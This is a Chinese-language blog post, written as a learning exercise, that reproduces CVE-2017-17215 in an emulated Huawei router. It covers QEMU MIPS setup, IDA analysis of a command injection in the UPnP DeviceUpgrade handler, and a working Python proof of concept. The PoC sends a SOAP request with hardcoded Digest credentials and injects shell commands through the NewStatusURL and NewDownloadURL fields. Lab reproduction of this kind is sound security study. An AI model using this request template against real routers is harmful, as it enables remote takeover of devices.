Marce1's Blog
CVE-2017-17215复现
Marce1
  2025-03-27 21:18:05   2025-04-12 19:14:10    1.7k 字  7 分钟  

CVE-2017-17215复现

跟着winmt师傅的一些经典IoT漏洞的分析与复现（新手向）尝试复现

前置

配置好iot环境，见前文

固件的附件直接在winmt师傅的文章里下载

下载好固件内核和镜像

1
2
3
4
mkdir firmware
cd firmware
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta 
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

镜像通常是指一个文件或数据集的副本，它可以是整个硬盘、分区、光盘或其他存储设备的精确复制。镜像文件包含了原始存储设备上的所有数据，包括操作系统、应用程序、用户文件等。当然，镜像也包括内核。

内核是操作系统的核心部分，它是操作系统与硬件之间的桥梁，负责管理系统的资源、调度任务、提供安全机制等。在一些智能设备中，内核作为操作系统的核心，为固件的运行提供了基础的软件环境。

固件是一种嵌入在硬件设备中的软件，通常存储在只读存储器（ROM）或闪存中。固件负责初始化硬件设备、控制硬件的基本操作、提供与其他软件或设备进行通信的接口等。

在同一文件夹下编写启动脚本

1
2
3
4
5
6
7
#!/bin/bash
sudo qemu-system-mips \
    -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap

-M 指定硬件平台，模拟特定开发板

-kernel 指定内核文件

-hda 指定镜像文件

-append “root=/dev/sda1 console=tty0” 向内核传递启动参数，根目录挂载到/dev/sda1分区，指定终端为控制台

-net nic,macaddr=00:16:3e:00:00:01 添加一个网络接口卡nic，指定mac地址

-net tap 给网络接口连接一个tap设备，模拟与外部网络通信

在执行启动脚本之前,先修改/etc/qemu-ifup文件设置tap设备与桥接设备br0相连:

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

接着就可以执行脚本了,应该就是这样

image-20250328170925162

默认账号和密码都是root，ctrl+alt+g跳出qemu窗口对鼠标的捕获

用ip addr 或者 ifconfig看一下以太网接口,然后在qemu虚拟机中编辑/etc/network/interfaces,使得以太网接口通过br0一起用dhcp协议分配ipv4地址:

1
2
allow-hotplug eth1
iface eth1 inet dhcp

之后重启虚拟机或者重启eth1接口

1
2
ifdown eth1
ifup eth1

之后再ip addr应该就能看到inet后跟着的ipv4地址,和主机在同一子网下;再在主机中执行ip addr,此时br0的网段应该与qemu虚拟机中的以太网网段相同.通过ping网关或者百度验证一下能否出网,准备阶段就大功告成

image-20250329001848795

漏洞定位

根据漏洞披露中有如下描述：

From looking into the UPnP description of the device, it can be seen that it supports a service type named DeviceUpgrade. This service is supposedly carrying out a firmware upgrade action by sending a request to “/ctrlt/DeviceUpgrade_1” (referred to as controlURL ) and is carried out with two elements named NewStatusURL and NewDownloadURL.

The vulnerability allows remote administrators to execute arbitrary commands by injecting shell meta-characters “$()” in the NewStatusURL and NewDownloadURL as can be seen below.

我们可以尝试寻找upnp协议的DeviceUpgrade功能，并尝试找出如何控制 NewStatusURL和 NewDownloadURL的方法，就可以完成注入

image-20250410101219431

通过查找NewStatusURL字段，很快能找到一个叫做 upnp的程序。根据漏洞披露中的说法，upnp可执行程序很可能是用来实现和处理upnp协议的。

扔进ida里静态分析

先查找NewStatusURL字符串位置，定位相关函数sub_407B20

image-20250412191334881

image-20250410103459646

分析函数，通过格式化字符串直接将v4 v5插入指令中，然后通过system调用指令，很容易看出是个极其容易被利用的注入漏洞，只要在v4 v5两端加上分号就能执行任意指令。

为了弄清楚v4 v5是如何得到的，进入ATP_XML_GetChildNodeByName分析

image-20250410220622359

该函数通过遍历查询xml元素名与传入的第二个参数一致的子节点，然后返回该节点的元素值，如果未找到或者出现错误则返回一个错误码。

到这里就可以得知只要能控制NewStatusURL 和 NewDownloadURL 标签的值，就能任意注入。然而我自己独立分析并不能得出控制这两个标签内容的方法，只能看着其他复现经历找猫画虎的做。

在ida里直接查找交叉引用并不能找到

漏洞复现

根据漏洞披露的原文，启用upnp服务是暴露在37215端口下的：

In this case though, the TR-064 implementation in the Huawei devices was exposed to WAN through port 37215 (UPnP).

同样的，我们在固件文件目录下查询37215：

image-20250410221758433

然而尝试静态分析mic文件，只能看到有关于这个端口的数据定义，无法查找到他的交叉应用：

image-20250410222132621

好吧，按照其他的复现思路，只要把这个mic运行起来，端口自然就会打开了吧（心虚

首先将固件传入虚拟机

1
scp squashfs-root.tar.gz root@10.214.140.111:/root/

稍后在执行mic后终端会被占用，因此在主机上起一个ssh远程连接qemu虚拟机

1
ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.153.133

将虚拟机中的文件系统挂载，改变根目录环境为当前目录，再在新环境下起一个新shell，这样可以在一个相对独立的环境中执行命令和运行程序，避免对宿主机系统造成影响

1
2
3
4
5
chmod -R 777 squashfs-root
cd squashfs-root/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

为了防止终端卡住，在主机上起一个ssh连接虚拟机，然后运行mic

image-20250412165014595

这是运行过后的一大堆报错，光看完全没有头绪，但是此时查看端口开放情况：

1
2
netstat -anutle > test
less test

image-20250412174814777

会发现37215已经开放监听了。

poc如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir hello;</NewStatusURL>
   <NewDownloadURL>;mkdir hi;</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.153.133:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)

image-20250412190913792

参考链接

https://www.iotsec-zone.com/article/187#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

https://www.iotsec-zone.com/article/384#%E5%A4%8D%E7%8E%B0%E6%BC%94%E7%A4%BA

https://research.checkpoint.com/2017/good-zero-day-skiddie/

CVE-2017-17215复现
2025/03/27/CVE-2017-17215复现/
作者
Marce1
发布于
2025-03-27 21:18
许可
  1. CVE-2017-17215复现
    1. 前置
    2. 漏洞定位
    3. 漏洞复现
    4. 参考链接
© 2020 - 2025    Marce1
由 Hexo 驱动 & 主题 Keep
总字数 47.9k 访客数 访问量
  1. CVE-2017-17215复现
    1. 前置
    2. 漏洞定位
    3. 漏洞复现
    4. 参考链接